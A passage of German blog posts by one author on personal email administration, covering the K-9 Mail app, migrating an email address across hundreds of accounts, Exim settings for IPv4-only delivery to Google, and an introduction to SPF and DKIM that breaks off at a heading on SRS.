Oder ist es sinnvoller, das Archiv getrennt zu halten? Dann einfach in Foldern im Client? Oder gibt es spezielle Software für (durchsuchbare) Mailarchive? Wenn ja: wie bekommt man die Mail sinnvoll und ohne großen Aufwand vom “laufenden Bestand” ins Archiv?

Wie macht ihr das?

Ich würde mich über viele Tipps und möglichst konkrete Empfehlungen freuen - gerne als Kommentare hier, gerne als (dann bitte konkrete) Links oder Linksammlung, gerne als Verweis auf Beiträge, gerne auch per Mail oder in einer passenden Newsgroup / einem passenden Forum.

Danke!

Titelbild © GP - stock.adobe.com (bearbeitet)

Update für K-9

nospam@example.com (Thomas Hochstein) — Thu, 12 Aug 2021 16:15:00 +0000

So lange ich ein Smartphone nutze, so lange verwende ich auch die App mit dem seltsamen Namen K-9 als Mailclient. Das Programm ist stabil und bietet mir alles, was ich brauche: ich kann theoretisch mehrere Accounts konfigurieren, ich kann entscheiden, welche Verzeichnisse angezeigt und synchronisiert werden sollen und ich kann mir verschiedene Profile anlegen. IMAP-Push funktioniert (mehr oder weniger), und TLS ist natürlich auch kein Problem.

Mir war gar nicht aufgefallen, dass es rund um K-9 einigermaßen still geworden war - erst Ende Juli wurde ich darauf aufmerksam, dass mit der Version 5.800 das erste Update seit etlichen Jahren ansteht, das zugleich eine Änderung der Oberfläche mitbringt und auf aktuellen Android-Versionen problemloser läuft, insbesondere im Hinblick IMAP-Push (das seit Android 6 (!) wohl Probleme machte).

Ein Screenshot von meinem Smartphone.

Inzwischen habe ich dann auch mitbekommen, dass K-9 eine Website hat, und dort kann man im Blog auch mehr über das Update erfahren.

Die wichtigste oder zumindest augenfälligste Änderung betrifft sicherlich die Oberfläche. In den alten Versionen zeigte das Programm nach den Start üblicherweise alle konfigurierten Accounts (mit der Anzahl der ungelesenen Nachrichten). Von dort konnte man dann einen Account auswählen und bekam dann die dort konfigurierten Folder angezeigt (auch jeweils mit der Anzahl der ungelesenen Nachrichten). Für mich war das jeweils ein einigermaßen überflüssiger Schritt, weil ich nur einen Account konfiguriert habe.

In der neuen Version landet man nach dem Start unmittelbar im Posteingang des ersten Accounts. Von dort aus kann man eine Verzeichnisübersicht “aufklappen”, die dann am linken Bildrand die verschiedenen Folder (mit der Anzahl der ungelesenen Mails) anzeigt und den Wechsel in einen dieser Folder ermöglicht. Dort besteht auch die Möglichkeit, mit einem Klick (naja, wohl eher “Touch”) auf einen anderen Account zu wechseln, worauf dann dessen Folder angezeigt werden. Was nicht mehr möglich ist - und daher zu Kritik führt -, ist der Überblick über alle Accounts mit deren ungelesenen Mails; dazu muss man durch die jeweiligen Accounts durchwechseln. Ich verstehe einerseits, dass das stören kann; andererseits tangiert es mich nicht, und soweit ich höre, ist das auch mit mehreren Accounts kein unüberwindliches Problem. Vor allem ist es wohl einfach … naja, neu und nicht mehr so wie früher. Oder, in den Worten des Entwicklers:

The user interface has been redesigned. Some of you will love it, some will hate it. You’re welcome and we’re sorry.

Insgesamt habe ich mich schnell an die Änderungen gewöhnt und schätze sie. Und ja, IMAP-Push funktioniert jetzt (wieder) recht zuverlässig. Einen Überblick über alle Änderungen (sowohl in den Beta-Versionen 5.7xx als auch in 5.800 und 5.8xx) gibt es im Changelog.

[Nachträglich veröffentlicht im November 2021.]

Spass mit Mailadressen

nospam@example.com (Thomas Hochstein) — Sun, 06 Sep 2020 18:15:00 +0000

Wie bereits berichtet verliere ich meine bisherige “Haupt-E-Mailadresse” und muss daher bei einer Vielzahl von Accounts die dort hinterlegte Adresse ändern. Diese Aufgabe bin ich lieber direkt und noch vorletzte Woche während meines Urlaubs angegangen. Wie erwartet verlief das meistens reibungslos, aber beileibe nicht immer; es gab eine ganze Reihe … eher skurrile Erfahrungen.

Insgesamt weist mein Passwortmanager mehr als 300 Accounts auf, und bei der weit überwiegenden Mehrzahl stand die verwendete Mailadresse zur Änderung an. Ohne Passwortmanager wäre die Aufgabe vermutlich unlösbar gewesen … So konnte ich mit den wichtigsten Accounts (Google, Microsoft, Dropbox, Github …) anfangen und mich dann systematisch durch die Vielzahl wichtiger oder weniger wichtiger Accounts bei einer Unzahl von Diensten, Webshops, Publikationen u.a. kämpfen.

In der ganz weit überwiegenden Anzahl der Fälle war das mit wenigen Klicks völlig unproblematisch erledigt. Allerdings kommen bei mehreren hundert Accounts doch überraschend viele Ausnahmen mit gleichfalls teilweise überraschenden Varianten zusammen.

Seid ihre alle da?

Schon beim allerersten Schritt, nämlich dem Aufruf des entsprechenden Dienstes mit nachfolgendem Login, kann man Überraschungen erleben.

Manche Dienste gibt es schlicht nicht mehr, oder die Domain gehört jetzt einem ganz anderen Anbieter; das waren allerdings nur wenige Fälle. Hinzu kamen ein paar Anbieter, die offenbar - ohne weiteren Hinweis - meinen Account gelöscht hatten; gut, nach oft vielen Jahren ohne Login ist das eine nachvollziehbare Bereinigung der Kundendatenbank. Eine - seltene - Variante davon war dann aber eher skurril: der Account war noch vorhanden, aber das Passwort wurde nicht mehr erkannt, so dass der Mechanismus für vergessene Passworte genutzt werden musste. Hintergrund mag eine Änderung bei der Verschlüsselung der Passwörter sein. In manchen Fällen war der Login auch nicht mehr mit der ursprünglich vergebenen Benutzerkennung möglich, sondern stattdessen nur noch mit der Mailadresse.

Mailadressen kann man ändern - oder auch nicht

Man sollte annehmen, dass die Änderung der mit dem Account verknüpften Mailadresse vielleicht keine alltäglich genutzte, aber (ebenso wie die Änderung des Passworts) doch recht verbreitete Funktion darstellt. Diese Annahme ist meistens auch richtig - aber nicht immer.

Es gibt tatsächlich Dienste, die eine Änderung der Mailadresse (die dann in der Regel zugleich die Benutzerkennung darstellt) nicht vorsehen. Da bleibt dann nur ein Weg: einen neuen Account mit der neuen Mailadresse anlegen, Daten übertragen und dann den alten Account löschen. (Man mag es kaum fassen.) Andere Anbieter möchten bei der Änderung der Mailadresse auf Nummer sicher gehen (oder halten das für eine so wenig verlangte Funktion, dass die Implementation einer Benutzerschnittstelle dafür nicht lohnt), so dass die Änderung der Mailadresse nur durch Kontaktaufnahme mit dem Kundenservice möglich ist. Auch das ist mir allerdings glücklicherweise nur bei einer Handvoll Diensten begegnet und war meistens binnen weniger Tage erledigt.

In der ganz weit überwiegenden Mehrzahl der Fälle ist die Änderung der Mailadresse aber online möglich; dabei sind allerdings bei der Entscheidung, wo man diese Funktion anbieten möchte, der Phantasie keine Grenzen gesetzt. Accountdaten, Profil, Kontaktdaten … manchmal glich die Suche derjenigen nach der Nadel im Heuhaufen. Einige (wenige) Anbieter lassen eine unmittelbare Änderung der Mailadresse gar nicht zu; oft geht das mit der Möglichkeit einher, mehrere Mailadressen mit dem Account zu verbinden. Dann muss die neue Mailadresse zunächst als zusätzliche Adresse angelegt werden; dann kann man sie zur primären Mailadresse bestimmen und dann die bisherige Mailadresse (die dann nur noch eine zusätzliche Mailadresse ist) löschen. In ein oder zwei Fällen kam es zu ganz esoterischen Fehlern, namentlich in der Variante, dass die Änderung der E-Mail-Adresse akzeptiert und durch einen entsprechenden Text bestätigt wurde, beim erneuten Aufruf des entsprechenden Menüpunkts aber wieder die alte Mailadresse eingetragen war. Eigenartig. Sehr eigenartig.

Ab und an war die Änderung allein der Mailadresse nicht möglich; in einem eher skurrilen Fall musste zugleich auch das Passwort geändert werden (vielleicht, weil grundsätzlich dessen regelmäßige Änderung vorgesehen ist und der dafür bestimmte Zeitraum lange überschritten war?). In ein paar anderen Fällen mussten zugleich die Accountdaten vervollständigt werden, vermutlich, weil seit der Accountanlage zusätzliche Felder (oft Anschrift und/oder Telefonnummer) zu Pflichtfeldern geworden sind.

Und natürlich gab es eine (ganz kleine!) Gruppe von Spezialisten, die thh@thh.name nicht für eine gültige Mailadresse hält. Die Validierung von Mailadressen ist ja ohnehin ein Thema für lange Winterabende (sowohl die - weitgehend - richtige Lösung, die überraschend komplex ist, als auch die Vielzahl von Möglichkeiten, diese Aufgabe falsch oder unvollständig zu lösen); hier vermute ich am ehesten, dass den Entwicklern der Gedanke von Top-Level-Domains (TLDs) mit mehr als drei Zeichen ganz ungewohnt war (obschon die TLD .info alles andere als neu ist).

Mailadressen als Benutzerkennungen

Besonders spannend gestaltet sich die Angelegenheit, wenn die Mailadresse zugleich auch den Accountnamen darstellt, also die Benutzerkennung - sei es zwingend, sei es auch nur, wenn man bei der Anlage des Accounts nichts anderes angibt. Für den Umgang mit einer Änderung der Mailadresse in dieser Konstellation gibt es eine Vielzahl von Möglichkeiten. Man kann schlicht mit der Änderung der Mailadresse auch den Accountnamen, also die Benutzerkennung, ändern; das wäre der naheliegende Weg, der allerdings technisch erfordert, dass jeder Account noch eine interne, eindeutige Bezeichnung hat, über die er mit anderen Datenbanken verknüpft ist. Man kann stattdessen natürlich auch anbieten, Benutzerkennung und E-Mail-Adresse getrennt voneinander zu ändern; das liegt nahe, wenn beim Registrierungsprozess nur die Mailadresse abgefragt und diese dann zugleich auch als Benutzerkennung verwendet wird, das System an sich diese Attribute aber getrennt verwaltet.

Es gibt aber noch interessantere Lösungen. Man kann, zum Beispiel, die Mailadresse ändern lassen, aber die Benutzerkennung (die alte Mailadresse) beibehalten, ohne dass man sie ändern könnte. Dann ist die hinterlegte Mailadresse thh@thh.name, für den Login muss man aber weiterhin thh@inter.net verwenden. Das ist schon einigermaßen verwirrend - es geht aber noch verwirrender: dann ist die geänderte Mailadresse auch die neue Benutzerkennung für den Login (so weit, so logisch), der Name des Accounts (der angezeigt wird) bleibt aber die alte Mailadresse (!). So löst das unter anderem Microsoft: mein Account dort heißt weiterhin “thh@inter.net” (und wird auch in allen Office-365-Produkten so angezeigt), die Benutzerkennung (und die verknüpfte Mailadresse) ist aber thh@thh.name. Das ist dann nicht nur einigermaßen, sondern sogar sehr verwirrend.

Unterschiedlich ist auch die Handhabung bei Programmen und Apps, die sich bei einem solchen Account automatisch anmelden; man denke bspw. an den Dropbox-Client, oder auch an Android-Mobiltelefone, die mit einem Google-Account verknüpft sind. Diese melden sich (bei Dropbox bzw. Google) an, aber die dort hinterlegte Benutzerkennung stimmt ja nicht mehr mit der geänderten Benutzerkennung (Mailadresse) des Dienstes überein. Auch mit diesem Problem gehen Anbieter verschieden um. Dropbox zum Beispiel stellt die Benutzerkennung eines verknüpften Clients transparent um; war man zuvor als “thh@inter.net” eingeloggt, ist man es nach der Änderung dann eben als “thh@thh.name”. Bei anderen Anbietern scheitert aber die nächste automatische Anmeldung mit der Fehlermeldung, der entsprechende Account (“thh@inter.net”) sei unbekannt; dann muss man sich mit der neuen Benutzerkennung (und dem alten Passwort) neu anmelden.

Sicherheitsfragen und Bestätigungen

Manche Anbieter erlauben die Änderung einer mit dem Account verknüpften Mailadresse einfach so; viele Anbieter verlangen für die Änderung der Mailadresse die erneute Eingabe des Passworts, auch wenn man in den Account eingeloggt ist. Oft wird auch eine Bestätigung der neuen Mailadresse verlangt, indem eine E-Mail an diese geschickt wird, die einen Code oder zumeist einen Link enthält, mit dem man die Adressänderung bestätigen muss. Erst nach dieser Bestätigung wird die Änderung tatsächlich vorgenommen.

Das ist grundsätzlich wichtig und richtig, führt aber potentiell zu einer Vielzahl von Problemen - denn E-Mail ist nicht mehr ein so stabiles Medium, wie das einmal der Fall war. Gerne dauert es eine Weile, bis die (in der Weboberfläche angekündigte) E-Mail wirklich versandt wird; das ist dann nur aufhaltsam (und summiert sich bei mehreren hundert Accounts), und man kann sich solange ja schon einmal den nächsten Account vornehmen. Manchmal steht der Host, von dem aus diese Bestätigungs-E-Mail versandt wird, auf einer Blacklist (RBL); das löst dann auf meiner Seite Greylisting aus, also zunächst eine Ablehnung der Mail mit einer vorübergehenden Fehlermeldung, wobei die Mail dann nach einer Wartezeit bei einem erneuten Zustellversuch angenommen wird. In diesen Fällen dauert es dann teilweise richtig lange, bis die Bestätigungsmail eingeht. Noch “besser”, aber gar nicht so selten ist es, wenn die Bestätigungs-E-Mail mit einer ungültigen - weil nicht existenten - Absenderadresse versandt wird. Dann nimmt mein Mailserver sie nämlich nicht an. Viel seltener kommt es vor, dass Bestätigungs-E-Mails andere Mängel enhtalten, bspw. Zeilen, die länger als 998 Zeichen sind. Auch das führt zu einer Abweisung. Hilfreich ist es dann, wenn man sein eigener Provider ist und Zugriff auf das Logfile hat, aus dem man dann ersehen kann, dass und vor allem auch warum die E-Mail nicht angenommen wurde; sonst kann man lange warten (und muss sich dann immer fragen, ob es einfach nur lange dauert oder die Mail nicht angenommen wurde).

In den Fällen abgewiesener Mails muss man (nach Whitelistung des Absenders) dann einen neuen Versand der E-Mail anstoßen; das ist normalerweise kein Problem, weil regelmäßig ein Button oder Link vorhanden ist, mit dem man einen erneuten Versand der Bestätigung auslösen kann. Schlimmstenfalls muss man die Mailadresse zurücksetzen und dann noch einmal ändern; in den seltenen Fällen - die aber vorkommen -, in denen eine erneute Änderung der E-Mail-Adresse nicht möglich ist, bis die erste Änderung bestätigt wurde, muss man notfalls warten, bis der Zeitraum für die Bestätigung der Mailadresse (meistens zwischen 24 und 72 Stunden) abgelaufen ist und dann einen neuen Anlauf starten. Ein Anbieter (bit.ly) sticht hier heraus: dort kann man zwar den erneuten Versand einer Bestätigungs-E-Mail über das Webinterface anstoßen - sie kommt aber nicht. Gar nicht. Niemals. Auch dann nicht, wenn man die E-Mail-Adresse löscht und nochmals neu anlegt. Nicht, wenn man das sofort tut; nicht, wenn man das am selben Tag tut; nicht, wenn man das eine Woche oder 14 Tage später tut. War die Bestätigungs-E-Mail nicht zustellbar, wird kein neuer Versuch unternommen - Punkt. (Möglicherweise liegt das auch am dort für den Mailversand verwendeten Dienstleister, der Fehlermeldungen dauerhaft speichert und die Mailzustellung nicht erneut versucht.) Deshalb habe ich dort jetzt eine ganz andere Adresse mit dem Account verknüpft …

Erfolgt eine notwendige Bestätigung nicht, wird die Änderung normalerweise nach Ablauf eines gewissen Zeitraums verworfen. Nicht wenige Foren lösen das aber anders und loggen den Nutzer nach einer Änderung der Mailadresse aus und deaktivieren den Account, bis die Änderung der Mailadresse bestätigt wurde. Wenn dann die Bestätigungs-E-Mail nicht zustellbar ist, ist das natürlich fatal.

Ein Anbieter (aber nur einer!) hat auch an die alte Mailadresse eine Bestätigungs-E-Mail geschickt; dort muss man also sowohl die neue Adresse bestätigten als auch von der alten Mailadresse aus bestätigen, dass man die Adresse wirklich ändern will. Dort wird Sicherheit demnach besonders groß geschrieben.

Die meisten Anbieter schicken erwartungsgemäß eine Bestätigung über die Änderung, und das meistens an beide Adressen, die neue wie die alte; das ist auch wichtig, denn nur so bekommt man mit, wenn ein Unbefugter Zugriff auf den Account erlangt und die hinterlegte Mailadresse unbefugt geändert hat. Diese Benachrichtigungen erfolgen regelmäßig auch dann, wenn die Adressänderung zuvor erst einmal bestätigt werden musste. Einige Anbieter informieren zudem per Mail darüber, dass man sich - nach langer Zeit einmal wieder - eingeloggt hat. Eines ist also sicher: man bekommt viel E-Mail …

Das Ende ist in Sicht

Nun bin ich mit den Adressänderungen weitgehend durch; ein paar weniger Accounts habe ich noch auf der Liste, wo die Änderung nicht funktioniert hat oder wo noch irgendwelche Bestätigungs-Mails auf ihre Zustellung warten oder der Kundenservice noch reagieren muss. Sicherheitshalber bin ich auch alle Mailinglisten und Newsletter durchgegangen, die ich in diesem Jahr bereits erhalten habe, und habe auch dort die Adresse geändert (oder, gar nicht selten, die Gelegenheit genutzt, einen Newsletter abzubestellen, den ich ohnehin nicht mehr brauche). Außerdem habe ich auf einer Unzahl von Webseiten die Kontaktadresse angepasst und bei einer Vielzahl von mir gesposteter FAQs den Absender geändert. Der bisherige Mailaccount hat einen Autoresponder, der auf die Adressänderung hinweist, und eine Handvoll regelmäßiger Kommunikationspartner habe ich per Mail informiert.

Jetzt bleibt abzuwarten, welche Accounts ich vergessen habe und welcher frühere Kontakt mich in den nächsten Monaten und Jahren über die alte Adresse zu erreichen versucht. Einen Trost immerhin gibt es: wer mich wirklich sucht, wird mich vermutlich ohne große Mühe über Google finden. Immerhin das.

Titelbild © pixelkorn - stock.adobe.com

[Nachträglich veröffentlicht im Mai 2021.]

What's in a name?

nospam@example.com (Thomas Hochstein) — Mon, 31 Aug 2020 05:22:00 +0000

That which we call a rose by any other name would smell as sweet.

Nachdem ich zukünftig auf meine altgewohnte, liebgewonnene Mailadresse thh@inter.net verzichten werden muss, habe ich wenigstens eine gleichermaßen kurze und gut zu merkende neue Adresse gefunden: thh@thh.name wird es zukünftig sein.

[Nachträglich veröffentlicht im Mai 2021.]

Ade, Internet!

nospam@example.com (Thomas Hochstein) — Tue, 25 Aug 2020 09:52:00 +0000

Vor recht genau 18 Jahren, im August 2002, stieß ich auf ein interessantes Angebot des Berliner Providers snafu, dessen Name mir aus dem Usenet-Umfeld grundsätzlich bekannt war. Seit Juli 2000 war das unter diesem Namen auftretende Privatkundengeschäft der Interactive Networx GmbH & Co KG auf die Inter.net Germany GmbH übergegangen; das entsprach dem Vorgehen der Muttergesellschaft PSINet Inc., die auch in anderen Ländern ihr Privatkundengeschäft auf die Inter.net Ltd. übertragen hatte. Und es gab für schmales Geld die Möglichkeit, dort eine providerunabhängige E-Mail-Adresse unterhalb der Domain inter.net zu erhalten. Das war mir sehr recht: eine interessante Domain, mein Kürzel thh war noch verfügbar, und ich musste mir weder um Spamfilterung noch um die Verfügbarkeit der Mailadresse Sorgen machen. Zwar hatte ich mir im Juni 2002 meinen ersten “Rootserver” geleistet, aber das war mir für meine hauptsächliche Erreichbarkeit noch zu unsicher.

Seitdem habe ich thh@inter.net zunächst primär im Usenet - und als Kontaktadresse auf Webseiten - genutzt, zunehmend aber als meine Haupt-E-Mailadresse: leicht zu merken, schnell zu tippen, leicht zu diktieren - viel angenehmer, als für jeden neuen Account in irgendeinem Onlineshop eine spezifische Adresse neu anzulegen. Und so trat ich öffentlich mit der Zeit nur noch unter dieser Adresse auf: Usenet, Webseiten, Accounts in sozialen Netzwerken, aber auch bei Google oder Github, ja sogar auf Visitenkarten. Vor ein paar Monaten dachte ich einmal darüber nach, das zu ändern; eine Mailadresse unterhalb einer eigenen Domain hat (wie bei Webseiten) den großen Vorteil, dass man sie jederzeit mitnehmen kann (und mittlerweile bieten auch die meisten Anbieter von E-Mail-Diensten die Möglichkeit an, eine eigene Domain zu nutzen). Nach einer Abwägung des Gewinns gegen den damit verbundenen Aufwand entschloss ich mich aber dagegen.

Und dann trudelte letzte Woche - während unseres Urlaubs - eine E-Mail von (nunmehr nach Umfirmierung seit Juni 2020 wieder) snafu ein: Im Rahmen der Umfirmierung stelle man das Produkt PeoplePlus.inter.net, also das Angebot provider-unabhängiger Mailadressen unterhalb der Domain inter.net, ein. Zum 30.11.2020 falle damit die Adresse thh@inter.net weg.

Wir danken Ihnen für die Treue, Geduld und Zusammenarbeit.

Ja, dankeschön auch. :-/

So werde ich mich nach 18 Jahren (!) von einer gewohnten und liebgewonnen Mailadresse trennen müssen. Und ich weiß nicht, was ärgerlicher ist: dass mich Kontaktversuche unter dieser Adresse (von alten Freunden und Bekannten, die man aus dem Blick verloren hat; aufgrund von alten Beiträgen im Netz; …) nicht mehr erreichen werden, oder daß ich jetzt bei einer Vielzahl von Accounts die damit verknüpfte Adresse ändern muss. Und das, obwohl ich mir seit so vielen Jahren Mühe gebe, dass URLs, aber auch Mailadressen möglichst dauerhaft erreichbar bleiben, weil es mich furchtbar nervt, wenn jemand alle 12 Monate seine Mailadresse (oder Handynummer) ändert.

Sehr ärgerlich. Und wieder einmal eine Bestätigung der alten Weisheit: im Netz gehört Dir bestenfalls das, was unter der eigenen Kontrolle steht. Dienste werden eingestellt, Anbieter verschwinden - Domains bleiben (hoffentlich!).

Titelbild © pixelkorn - stock.adobe.com

[Nachträglich veröffentlicht im Mai 2021.]

Exim: Mailauslieferung nur über IPv4, bspw. an Google

nospam@example.com (Thomas Hochstein) — Sat, 10 Nov 2018 08:30:00 +0000

Vor einem Jahr hatte ich darüber berichtet, dass sich viele Probleme bei der Mailauslieferung an Google schlicht durch den Verzicht auf IPv6 für den Mailversand beheben lassen, und dafür auch eine Lösung vorgestellt. Diesen Weg würde ich aber nicht mehr empfehlen.

Die Verwendung eines eigenen Routers wird in vielen Fällen ein gangbarer Weg sein; er ist aber unnötig komplex und kann Schwierigkeiten aufwerfen, wenn es weitere Router für Spezialfälle gibt - denn dann wird ggf. nur der andere Router durchlaufen (oder der Router für “Mailauslieferung an Google über IPv4”, aber nicht der Router für den anderen Spezialfall).

Sehr viel einfacher und, so weit ich sehe, ohne Nebeneffekte ist die Vorgehensweise, die ich bereits in meinem damaligen Blogeintrag angesprochen habe (der heute auch entsprechend aktualisiert wurde): man beschränkt den DNS-Lookup für *.google.com auf IPv4. Dazu genügt eine einzelne Zeile im Hauptteil der Konfigurationsdatei, also vor ACLs, Routern und Co:

dns_ipv4_lookup = *.google.com

Man kann das ebenso leicht auch generischer lösen:

dns_ipv4_lookup = /etc/exim4/domains-force-ipv4-lookup

In /etc/exim4/domains-force-ipv4-lookup genügt dann ein Eintrag wie

*.google.com

Fertig. Tut. Ist viel simpler und weniger fehleranfällig.

Exim: Mailauslieferung über IPv4 erzwingen

nospam@example.com (Thomas Hochstein) — Mon, 18 Sep 2017 06:35:00 +0000

Man munkelt, dass insbesondere Google eingehende E-Mails unterschiedlich streng filtert, je nachdem, ob sie per IPv6 oder per IPv4 eingeliefert werden.

Google selbst deutet das in seinen Bulk Senders Guidelines durch den Abschnitt Additional guidelines for IPv6 an, und ich hatte verschiedentlich den Eindruck, dass E-Mail, die ich an Adressaten bei Google (GMail, Hosting, …) versende, dort jedenfalls nicht in der Inbox landet. Für Mails an GoogleGroups - die u.a. Mailinglisten mit einem Webinterface und Webarchiv darstellen - kann ich das sogar positiv belegen: versende ich E-Mails über IPv6 nach dort, werden sie zwar lt. Logfile angenommen, dann aber offensichtlich ausgefiltert. Jedenfalls erscheinen sie nie in der GoogleGroup, auch nach mehreren Versuchen und mehreren Tagen nicht. Versende ich dieselbe Mail aber über IPv4, trifft sie binnen Sekunden ein.

Ein solches Vorgehen mag sinnvoll erscheinen (immerhin kann ein Spammer IPv6-Adressen - im Gegensatz zum knappen IPv4-Adressarum - vermutlich wochenlang wechseln wie andere Leute ihre Unterhosen, so dass RBLs da wenig helfen), aber es macht die Sache für denjenigen, der Mail an Google loswerden will, nicht einfacher.

Die Lösung mag in einer Änderung der Konfiguration liegen; so soll es helfen, passende SPF-Einträge hinzuzufügen und die Mails mit DKIM zu signieren, aber damit muss ich mich zunächst näher beschäftigen, und ob das dann auch wirklich hilft, weiß ich dann noch immer nicht. Was das Problem aber definitiv - jedenfalls derzeit - löst, ist die Mailauslieferung über IPv4.

Exim bietet dafür verschiedene Lösungsmöglichkeiten:

Man kann IPv6 komplett abdrehen, indem man im Hauptteil der Konfiguration ein beherztes disable_ipv6 = true einfügt. Das will man aber vermutlich nicht.
Man kann Exim vorgeben, dass er für bestimmte Domains nur A-Records, also IPv4-DNS-Einträge, berücksichtigen soll, indem man im Hauptteil der Konfiguration die Option dns_ipv4_lookup mit einer entsprechenden Domainliste versogt, bspw. dns_ipv4_lookup = *.google.com. (Andere Domains wie gmail.com, googlemail.com oder googlegroups.com müssen nicht berücksichtigt werden, weil alle MXe auch dieser Domains auf google.com enden.) Das wäre eine Möglichkeit; ich bin mir aber nicht sicher, ob sich dabei nicht Seiteneffekte ergeben, d.h. die Folgen nicht nur auf die Mailauslieferung beschränkt sind.

Update vom 11.10.2018: Seiteneffekte sind nicht erkennbar, und ich würde genau diesen Weg empfehlen. Der nachfolgend vorgestellte Weg funktioniert nur dann, wenn es keine anderen Router für “Spezialfälle” gibt, die vorher greifen, und macht die Lösung unnötig kompliziert.

Eigentlich will ich ja nur, dass MX-Einträge ignoriert werden, die auf einen Host zeigen, der eine IPv6-Adresse hat, bzw. bei Hosts mit mehreren A- und AAAA-Records die letzteren ignoriert werden. Und glücklicherweise geht auch das.

Es genügt, einen neuen Router zu erstellen (und zwar vor dem Router, der normalerweise für die Auslieferung externer Mail zuständig ist, defaultmäßig dnslookup):

# This router routes remote addresses using ipv4 hosts only

ipv4_only:
  driver = dnslookup
  domains = +ipv4_forced_domains
  transport = remote_smtp
  ignore_target_hosts = <; 0::0/0

Dort kann man entweder die betreffenden Domains fest verdrahten, oder man löst es (wie hier) über eine Domainliste namens ipv4_forced_domains, die dann im Hauptteil der Konfiguration noch entsprechend definiert werden muss:

domainlist ipv4_forced_domains = /etc/exim4/domains-send-ipv4

In der Datei /etc/exim4/domains-send-ipv4 finden sich dann alle Domains, an deren MXe nur per IPv4 ausgeliefert werden soll, jeweils eine pro Zeile.

Ein Test bestätigt den Erfolg. Vorher:

# exim -bt postmaster@google.com
postmaster@google.com
  router = dnslookup, transport = remote_smtp
  host aspmx.l.google.com      [2a00:1450:400c:c06::1b] MX=10
  host aspmx.l.google.com      [64.233.184.26]          MX=10
  host alt1.aspmx.l.google.com [2a00:1450:4010:c07::1a] MX=20
  host alt1.aspmx.l.google.com [64.233.164.26]          MX=20
  host alt2.aspmx.l.google.com [2404:6800:4003:c02::1b] MX=30
  host alt2.aspmx.l.google.com [74.125.68.26]           MX=30
  host alt3.aspmx.l.google.com [2404:6800:4008:c02::1a] MX=40
  host alt3.aspmx.l.google.com [74.125.23.26]           MX=40
  host alt4.aspmx.l.google.com [2607:f8b0:400e:c00::1b] MX=50
  host alt4.aspmx.l.google.com [173.194.202.26]         MX=50

Nachher:

# exim -bt postmaster@google.com
postmaster@google.com
  router = ipv4_only, transport = remote_smtp
  host aspmx.l.google.com      [64.233.184.26]  MX=10
  host alt1.aspmx.l.google.com [64.233.164.26]  MX=20
  host alt2.aspmx.l.google.com [74.125.68.26]   MX=30
  host alt3.aspmx.l.google.com [74.125.23.26]   MX=40
  host alt4.aspmx.l.google.com [173.194.202.26] MX=50

Voilà.

Die Idee ist natürlich nicht von mir, sondern aus dem Exim-Wiki: How to force IPv4 connections for specific domains if IPv6 is enabled Ich habe sie allerdings etwas angepasst und vereinfacht.

Abschließend die Frage: Hat schon jemand Erfahrungen damit gemacht, SPF-Einträge und vor allem DKIM-Signaturen für eine Vielzahl potentieller Absenderdomains zu pflegen (und - bzgl. DKIM - mit Exim zu konfigurieren)? Ich stelle mir das nicht so ganz einfach vor.

Update (2018-06-03): Auch für den Mailserve Postfix gibt es eine vergleichbare Lösung - Prevent Postfix SMTP from contacting Google Mail using IPv6

Update (2018-11-10): Ich empfehle diesen Weg nicht mehr, sondern stattdessen diesen.

systemd-Unit für srsd unter Debian

nospam@example.com (Thomas Hochstein) — Mon, 14 Aug 2017 05:10:00 +0000

Ich fürchte, das wird einer dieser Beiträge, bei dem die notwendige Vorrede bald länger wird als der Beitrag selbst …

Aber fangen wir einfach einmal vorne an: Der Kampf gegen unerwünschte E-Mails, die einen mit Malware oder Angeboten für die Verlängerung oder Vergrößung verschiedenster Körperteile (neuerdings auch - noch sachnah - gerne für den Wechsel der Krankenkasse) beglücken, heutzutage meist als Spam bezeichnet, tobt seit Jahrzehnten. Nach den verschiedensten Filtern entstanden auch mehrere Ansätze, die gar nicht so sehr den Spam an sich bekämpfen, sondern weiter vorne - oder auch parallel - ansetzen und die (meist mit Spam verbundene) Fälschung von Absenderadressen verhindern bzw. umgekehrt eine (begrenzte) Garantie für die Echtheit des Absenders übernehmen wollen.

SPF und DKIM

Dazu gehören SPF (Sender Policy Framework, früher: sender permitted from) und DKIM (DomainKeys Identified Mail).

Bei SPF nutzt der Verantwortliche für eine Domain (meist ein Provider) das DNS (Domain Name System), um dort bekanntzugeben, von welchen Servern (welchen IP-Adressen) “echte” Mail mit einem Absender aus dieser Domain stammen dürfen. So kann bspw. GMX festlegen, dass legitime Mail mit einem Absender @gmx.net (also bspw. irgendwer@gmx.net) nur von einem ihrer Mailserver ausgehen dürfen:

thh@thangorodrim:~$ host -t txt gmx.net 
gmx.net descriptive text "v=spf1 ip4:213.165.64.0/23 ip4:74.208.5.64/26 ip4:212.227.126.128/25 ip4:212.227.15.0/25 ip4:212.227.17.0/27 ip4:74.208.4.192/26 ip4:82.165.159.0/24 ip4:217.72.207.0/27 -all"

(Da sieht man dann auch direkt das erste Problem: wer als Kunde von GMX eine E-Mail mit seiner GMX-Adresse über einen anderen Mailserver versenden will, steht vor Schwierigkeiten.)

SPF funktioniert besonders gut zusammen mit DNSEC, also digital signierten DNS-Einträgen, deren Echtheit sich prüfen lässt.

DKIM geht einen Schritt weiter und publiziert nicht (nur) eine (sich ggf. oft ändernde) Liste legitimer Absender-Server für eine Domain, sondern veröffentlicht im DNS einen digitalen Signaturschlüssel, mit dem dann die wesentlichen Teile der Header (“Kopfzeilen”) einer jeden ausgehenden Mail digital signiert werden. Auch hier steht natürlich vor Problemen, wer nicht den Server des Anbieters zum Mailversand nutzt, denn nur der kann entsprechend digital signieren.

SPF und auch DKIM werden aber vor allem dann zum Problem, wenn man E-Mails weiterleiten möchte - also eine Mailingliste betreibt, oder auch nur einen einfachen Mailverteiler, oder eine Mailweiterleitung von einem Postfach auf ein anderes eingerichtet hat. In allen Fällen geht dann nämlich die E-Mail mit dem (im Beispiel) GMX-Absender bei der Mailingliste (oder dem Mailverteiler, oder dem ersten eigenen Postfach) ein und wird von da weiterversandt (an die Teilnehmer der Mailingliste, den Verteiler ode das Weiterleitungsziel, also das andere eigene Postfach). Dort aber kommt die E-Mail mit einem GMX-Absender, aber von einem falschen Server aus an! (Nämlich von dem Mailinglistenserver, dem Mailverteiler-Server oder dem Server, der zum ersten eigenen Postfach gehört.) Das führt zu einer fehlschlagenden SPF-Prüfung, und wenn bei der Weiterleitung (gerade bei einer Mailingliste!) Header eingefügt oder geändert wurden, dann schlägt auch die DKIM-Signaturprüfung fehl.

SRS

